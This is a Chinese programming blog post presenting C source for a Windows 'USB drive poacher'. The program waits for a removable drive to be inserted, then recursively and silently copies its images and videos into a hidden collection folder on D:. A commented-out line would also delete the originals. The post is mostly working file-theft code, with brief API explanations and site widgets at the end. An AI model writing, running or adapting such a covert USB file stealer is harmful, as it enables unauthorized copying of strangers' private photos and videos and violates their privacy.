U盘偷猎者

#include <stdio.h>
#include <windows.h>  //操作系统的头文件

//查找某一个盘符中我们需要的文件
void FindFile(char filename[])
{
	//filename:  "F:"  -->  "F:\\*.*" 
	char pathstr[300] = { 0 };
	sprintf(pathstr, "%s\\*.*", filename);  //通配符 *.mp3 *mp4 *avi *rmvb *.wma

	WIN32_FIND_DATA findata;  //文件结构 文件的属性 
	HANDLE hfile = FindFirstFile(pathstr, &findata);
	char tempstr[300] = { 0 };
	while (1) //DWORD
	{
		//如果找到的文件是文件夹  
		if (findata.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY)
		{
			if (findata.cFileName[0] != '.')
			{
				sprintf(tempstr, "%s\\%s", filename, findata.cFileName);
				FindFile(tempstr);
			}
		}
		else  //文件
		{
			if (strstr(findata.cFileName, ".jpg") ||
				strstr(findata.cFileName, ".bmp") ||
				strstr(findata.cFileName, ".png") ||
				strstr(findata.cFileName, ".mp4") ||
				strstr(findata.cFileName, ".avi") ||
				strstr(findata.cFileName, ".rmvb"))
			{
				//findata.cFileName 文件名  ---> 全路径
				sprintf(tempstr, "%s\\%s", filename, findata.cFileName);
				printf("%s\n", tempstr);

				//创建一个自己的路径
				char mypath[300] = { 0 };

				CreateDirectory("D:\\寒冰断水的U盘", NULL);
				sprintf(mypath, "D:\\寒冰断水的U盘\\%s", findata.cFileName);
				CopyFile(tempstr, mypath, TRUE); //TRUE跳过 FALSE替换
				//DeleteFile(tempstr);
			}
		}
		int ret = FindNextFile(hfile, &findata);   //查找下一个文件 
		if (ret == 0)  //后面没有了 找到了最后一个
			break;
	}
}

/******************************************************

	新知识:
		GetLogicalDrives:功能是获取逻辑驱动  返回值每一位对应一个盘符。
		GetDriveType      获取盘符的类型。
		WIN32_FIND_DATA   文件的属性(属性 名字 创建日期 修改日期.... )

		FindFirstFile    //根目录 隐藏的系统文件  不是根目录 .  ..
		FindNextFile

		HANDLE hfile = FindFirstFile("F:\\*.*", &findata);
		while (1)
		{
			int ret = FindNextFile(hfile, &findata);   //查找下一个文件
			if (ret == 0)  //后面没有了 找到了最后一个
				break;
		}

********************************************************/

int main()
{
	//自动检测U盘的拔插
	unsigned long allDisk; //定义一个变量 4B 32bit
	char str[5] = { 0 };
	while (1)
	{
		allDisk = GetLogicalDrives(); //get获取 Logical逻辑 Drives驱动

		for (int i = 0; i < 10; i++) //假设最多10个盘符
		{
			if ((allDisk & 1) == 1)  //最低位的那个盘符是存在
			{
				sprintf(str, "%c:", 'A' + i); //输出到字符串
				if (GetDriveType(str) == DRIVE_REMOVABLE)
					break;
			}
			allDisk = allDisk >> 1;
		}
		if (GetDriveType(str) == DRIVE_REMOVABLE)
			break;
	}
	
	//找到了U盘是str  
	FindFile(str);

	//杀毒全盘扫描
	//文件管理器 视频

	while (1);
	return 0;

	/*
		C  C++  数据结构算法  网络编程  多线程多进程  windows系统编程  linux内核编程
		MFC/Qt  数据库mysql  服务器高并发

	  */
}

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值